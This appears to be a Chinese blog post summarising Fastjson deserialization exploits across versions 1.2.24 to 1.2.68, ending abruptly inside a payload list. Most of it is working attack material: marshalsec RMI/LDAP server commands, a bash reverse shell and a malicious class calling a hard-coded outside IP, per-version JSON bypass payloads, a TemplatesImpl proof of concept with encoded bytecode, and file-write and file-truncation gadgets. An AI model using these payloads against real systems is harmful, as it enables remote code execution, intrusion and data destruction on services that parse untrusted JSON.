Java反序列化(十二) | Fastjson②1.2.24-68总结
Java反序列化(十二) | Fastjson②1.2.24-68总结
介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson - CVE-2017-18349
需要注意的是在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。
整个利用流程如下
1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
远程加载服务: rmi ldap
1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2.RMI是一种行为,指的是Java远程方法调用。
3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4.ldap指轻量级目录服务协议。
JDK版本限制
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
开启JNDI
#RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.99.70.18/#Evil" 9999
执行恶意代码反弹shell
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/47.99.70.18/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
fastjson <= 1.2.24
原理: 漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。
Evil.java
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"curl", "http://47.99.70.18:4444"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
$ javac Evil.java
$ python -m http.server 80
$ git clone https://github.com/mbechler/marshalsec.git
$ apt-get install maven
$ mvn clean package -DskipTests
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999
POST请求exp:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/Evil",
"autoCommit":true
}
}
fastjson <= 1.2.46
发送payload前将Content-Type
修改为application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.16.65.10:9999/Exploit",
"autoCommit":true
}
}
$ javac Evil.java
$ python -m http.server 80
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999
fastjson <= 1.2.41
fastjson判断类名是否以L
开头、以;
结尾,是的话就提取出其中的类名再加载
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://47.99.70.18:9999/Evil", "autoCommit":true}
fastjson <= 1.2.42 漏洞
1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。
所以绕过需要在类名外部嵌套两层L;
。
类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://47.99.70.18:9999/poc",
"autoCommit":true
}
}
fastjson <= 1.2.45漏洞
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
利用条件:
1)、目标服务端存在mybatis的jar包。
2)、版本需为 3.x.x ~ 3.5.0
3)、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
(比较鸡肋)
使用黑名单绕过,org.apache.ibatis.datasource
在1.2.46版本中被加入了黑名单。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://47.99.70.18:9999/Exploit"}}
fastjson <= 1.2.47漏洞
利用条件:
- 小于 1.2.48 版本的通杀,autoType为关闭状态也可以。
- loadClass中默认cache设置为true。
漏洞简介:
首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl
这个类,绕过黑名单机制。
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://47.99.70.18:9999/Evil",
"autoCommit": true
} }
fastjson <= 1.2.62漏洞
黑名单绕过exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://47.99.70.18:9999/Evil"}";
fastjson <= 1.2.66漏洞
利用条件:
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
漏洞简介:
基于黑名单绕过。
exp1:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://47.99.70.18:9999/Calc"}
exp2
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://47.99.70.18:9999/Calc"}
exp3
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://47.99.70.18:9999/Calc"}
exp4
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransaction":"ldap://47.99.70.18:9999/Calc"}}
Gadget
以上方式都是通过JNDI远程加载, 实际上前面的各种POC基本都是绕过各种黑名单的限制策略, 除此之外我们还可以使用反序列化达到任意代码执行的目的, 主要的出发点是Java Bean的setter
和getter
方法, 目前可用的调用链我们又可以主要分为三类:
1,基于TemplateImpl
2,基于JNDI Bean Property类型
3,基于JNDI Field类型
后面这些Gadget我根据上面的版本更改都在各个变更点打点调了一遍,不过不想自己动手慢慢写了,发现有个师傅写的挺好的直接贴一下吧。
TemplatesImpl Gadgets
既然最后是可以调用getter
方法的,那么可以尝试用之前的TemplatsImpl
进行攻击
TemplatesImpl
类位于:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,之前学习已经写过很多,这里就不分析了,只写下几个要点:
_bytecodes
是构造的恶意类代码,且父类是AbstractTranslet
,如果父类不是这个则会抛出异常- 为了满足漏洞条件,需要
_name
不为null
,_factory
不为null
- 由于部分私有变量没有
setter
方法,所以需要用Feature.SupportNonPublicField
参数来触发
现在编写最终POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Evil {
public static void main(String[] args) throws Exception{
String code = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
"EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
"50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
"Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
"UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
"plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
"4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
"wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
"JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
"xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
"hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
"AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
"QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
"ABABEAAAACABI=";
String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_name\":\"o3\"," +
"\"_tfactory\":{}," +
"\"_bytecodes\":[\""+code+"\"]," +
"\"_outputProperties\":{}}";
//JSON.parseObject(str);
//System.out.println(JSON.parseObject(str));
System.out.println(str);
JSON.parseObject(str,Feature.SupportNonPublicField);
}
}
JNDI注入 Gadgets
这其实是JdbcRowSetImpl
的使用,JdbcRowSetImpl
类位于com.sun.rowset.JdbcRowSetImpl
。Fastjson
反序列化漏洞利用的核心是parseObject
利用@type
来触发getter
和setter
,而JdbcRowSetImpl
类中就有一个setAutoCommit
方法会被执行。
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
当this.conn
为null
时便会调用this.connect
,默认是满足条件的
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到执行了var1.lookup(this.getDataSourceName())其实就是InitialContext#lookup
,这个是JNDI注入的核心方法,相当于传入的参数如果为rmi://47.99.70.18:9999/Evil
或者ldap://47.99.70.18:9999/Evil
那么InitialContext#lookup
方法就会远程加载Evil
类并进行实例化, 执行实例化就会调用Evil
的构造函数,静态代码,然后....懂吧,就任意代码执行了
调用栈:
getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
在Fastjson1.2.25
及以上的版本里,直接使用上面的链子是会报错的, 因为官方对之前的反序列化漏洞做了修复,引入了checkAutoType
安全机制,默认情况下autoTypeSupport
是关闭的,在反序列化时,会检查是否开启了autotype
,所以如果没有开启,反序列化就会报错,换句话说也就不能反序列化任意类。在打开了AutoType
之后,是基于黑名单和白名单的形式来提供保障的。
com.alibaba.fastjson.parser.ParserConfig的三个主要成员:
autoTypeSupport
:默认关闭,用来表示是否开启任意类的反序列化
denyList
:反序列化的黑名单
acceptList
:反序列化白名单
黑名单:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
如果开启了autoTypeSupport
,则会先使用白名单来判断类名,如果类名在白名单里就直接使用TypeUtils.loadClass
来加载类,否则就使用黑名单来判断,一旦匹配成功就会抛出异常。(1.2.24)
如果未开启autoTypeSupport
,则会先使用黑名单来判断,一旦匹配成功就会抛出异常,否则使用白名单来判断类名,如果类名在白名单里就直接使用TypeUtils.loadClass
来加载类,和上面顺序相反。(1.2.25)
如果结果以上匹配之后发现类名既不在黑名单也不在白名单,那么接下来会进入下面的if语句:
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
也就是说只有开启了autoTypeSupport
或者expectClass
不为null
,即指定了Class对象时,才会进行TypeUtils.loadClass
的加载
跟进TypeUtils.loadClass的话可以发现其实就是对类名做了一个简单的处理:
1.判断类名是否以[开头,若是的话去掉首字符[后进行类加载
2.判断类名是否以L开头以;结尾,若是的话去掉首字符和尾字符后进行类加载
本地测试POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);这行代码是为了开启autoType功能,1.2.25默认现在运行即可弹出计算器
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
"\"autoCommit\":true}";
JSON.parseObject(str);
}
}
我们一般利用的就是第二种情况去掉头尾的字符,但是其实我们也可以利用类名以[开头的情况, 可惜的是直接使用会解析错误, 但实际上在一些附加条件的情况下我还是可以利用的, 到1.2.43就用到了。
Fastjson1.2.42的Gadgets
官方将原本的黑名单检测转为了使用Hash
黑名单,这可以防止安全人员通过黑名单类进行逆向分析。此外官方还更新了checkAutoTypeSupport
,在里面新增了个判断,如果第一个字符是L
,结尾是;
,则通过substring
将其去除,然后再使用1.2.25中的TypeUtils.loadClass进行类加载。
这个问题也很好解决,直接在首尾各自套多一层就行,最后得到测试POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
"\"autoCommit\":true}";
JSON.parseObject(str);
}
}
Fastjson1.2.43的Gadgets
修复了上一个版本的双写绕过问题,即如果类名里出现了连续两个L
则会抛出异常,所以这里也就不能用L、;
来绕过了。之前说过还有个字符:[
,但直接使用会解析错误。
提示在42处缺个[
,在它之前补上,结果又报错了,提示43处缺个{
继续补上,运行即可弹出计算器,写出最终POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
"\"autoCommit\":true}";
JSON.parseObject(str);
}
}
Fastjson1.2.44、1.2.45的Gadgets
修复了上个版本[
绕过的问题,这里会判断类名是否以[
开头,如果是,则会直接抛出异常。所以说这个版本是直接把字符串绕过黑名单的方式给封死了。(1.2.43封了LL开头,1.2.44封了[开头)
但是还有另外一个利用点mybatis
可以触发JNDI注入
触发点在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties()
触发InitialContext#lookup
,导致了JNDI注入,得到POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String str = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/Test\"}}";
JSON.parseObject(str);
//JndiDataSourceFactory factory = new JndiDataSourceFactory();
//Properties properties = new Properties();
//properties.setProperty("data_source", "rmi://127.0.0.1:1099/Test");
//factory.setProperties(properties);
}
}
这种方式能被利用的原因主要是以下两点:
mybatis
未被列入黑名单,且其版本<=3.4.6
setProperties
方法是setter
方法,能被fastjson
调用
Fastjson1.2.47的Gadgets
对比hash黑名单可以看到,fastjson在1.2.46
版本时就已经把mybatis
给ban了,所以上面的所有思路都不行了,现在再仔细来看下checkAutoType
啊额嗯,详细的过程可以去看原文,总结就是去看checkAutoType可以发现下面两个情况
autoTypeSupport
为true,进入到它相应的判断语句里,此时在匹配黑名单时,并不会直接抛出异常,而是必须还要满足TypeUtils.mappings
里没有该反序列化类的缓存类的条件,紧接着就进入到上面框出来的代码块
autoTypeSupport
为false,在到达其判断语句之前,就会先进入到上面框出的代码块
所以这个版本的链子是通杀,可以在不开启autoTypeSupport
的情况下进行反序列化的利用。
然后在会在判断autoTypeSupport
为true和autoTypeSupport
为false的中间部分执行deserializers#findClass
public Class findClass(String keyString) {
for (int i = 0; i < buckets.length; i++) {
Entry bucket = buckets[i];
if (bucket == null) {
continue;
}
for (Entry<K, V> entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = ((Class) key);
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
}
}
}
}
return null;
}
IdentityHashMap
里有很多基础类,如果匹配到,就直接return clazz
,然后checkAutoTypeSupport
也就return
了。接着来到com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法,这个类主要用来处理一些不寻常的类(如java.lang.Class#class
)它会解析val
中的内容,并将其放入objVal
里,然后再传入下边代码的strVal
最后跟到TypeUtils#loadClass,在这里通过mappings.get(className)
获取的缓存的类,但由于是首次加载,所以肯定是匹配不到的,接着因为默认开启缓存,在后面的代码中它会在里面完成类加载并且写入缓存
所以现在就可以先通过val
参数把JdbcRowSetImpl
加载到缓存里,然后再通过恶意类的@type
请求进行黑名单绕过,编写出总POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class JNDI {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String str = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
"\"autoCommit\":true}}";
JSON.parseObject(str);
//JndiDataSourceFactory factory = new JndiDataSourceFactory();
//Properties properties = new Properties();
//properties.setProperty("data_source", "rmi://127.0.0.1:1099/Test");
//factory.setProperties(properties);
}
}
Fastjson1.2.68的Gadgets
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec
处理 Class 类的地方,设置了cache 为 false ,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。
这个版本官方把com.alibaba.fastjson.serializer.MiscCodec#deserialze
处理Class
类的地方,设置为了cache==false
也更新了一个安全控制点safeMode
,如果它开启了,则会在checkAutoType
中直接抛出异常,换句话说就是完全禁止了autoType
。此外官方还将loadClass
重载方法的默认调用改为不缓存,所以说1.2.47
版本的payload也就不能用了。
对这个版本的fastjson来说,利用的是expectClass
绕过checkAutoType
。
这是checkAutoType
函数的一部分代码:
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
如果expectClass
不为null;传入的类名是expectClass
的子类或实现类,且不在黑名单中,则会直接return,也就绕过了checkAutoType
。现在要做的就是找可控的expectClass
传参方式,最终安全人员找到了这两个:
ThrowableDeserializer#deserialze
JavaBeanDeserializer#deserialze
浅蓝和b1ue师傅已经分析过这两个了:
- https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
- https://b1ue.cn/archives/382.html
- https://www.freebuf.com/vuls/240392.html
先跟进下ThrowableDeserializer#deserialze
String exClassName = lexer.stringVal();
这串代码会获取@type
的value,然后将其传入checkAutoType
,并且expectClass
为Throwable.class
,再之后就会使用createException
来创建异常类实例
跟进去,它将message
和cause
传给了createException
处理
接着会按照顺序来进行实例化构造方法,参数1类型为String.class
,参数2类型是Throwable.class
,如果找不到就直接按照参数1类型为String.class
,还找不到的话就取无参构造方法。
它进行了otherValues
的遍历,按照key去调用异常类的set方法,(otherValue
是当前 jsonobject 对象中除了@type、message、cause、stackTrace
以外的其他字段。)举个例子:假如@type
为java.lang.Exception
,otherValues
第一条为"msg"=>"hello o3"
,那么此时就会先实例化Exception
对象,然后再去调用exception.setMsg("hello o3")
。
所以说这里就是set触发的地方,编写异常demo来测试下:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javafx.animation.FadeTransition;
public class PageException extends Exception{
private String name;
public PageException(){
}
public String getName(){
return name;
}
public void setName(String name) throws Exception{
this.name=name;
Runtime.getRuntime().exec("open -a Calculator");
}
}
然后构造JSON:
{"@type":"java.lang.Exception","@type":"PageException","name":"o3"}
不过这也只是原理上的打通,现实基本不会将命令执行的方法写进异常类。
这个版本还有通过org.openqa.selenium.WebDriverException
类进行信息泄漏的利用,以及JavaBeanDeserializer#deserialze
的利用,和Throwable
差不多,有分析需求可看浅蓝师傅的文章.
Fastjson1.2.68的文件复写Gadgets
关于1.2.68的Gadget更详细的调试过程可以看浅蓝师傅的文章:https://b1ue.cn/archives/348.html
此外除了上面的异常类触发方式外,浅蓝师傅在fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路中还说了另一种文件复写的Gadget:
Payloads
最后在这里放一些payload参考使用
JdbcRowSetImpl
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
TemplatesImpl
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}
JndiDataSourceFactory
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}
SimpleJndiBeanFactory
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}
DefaultBeanFactoryPointcutAdvisor
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
WrapperConnectionPoolDataSource
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}
JndiRefForwardingDataSource
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}
InetAddress
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
Inet6Address
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}
URL
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
JSONObject
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}
URLReader
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}
AutoCloseable 任意文件写入
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}
BasicDataSource
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
JndiConverter
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}
JtaTransactionConfig
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}
JndiObjectFactory
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig2
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
CacheJndiTmLookup
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 任意文件写入
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}
AutoCloseable MarshalOutputStream 任意文件写入
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}
BasicDataSource
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
SessionBeanProvider
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}
JMSContentInterceptor
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}
ContextClassLoaderSwitcher
{
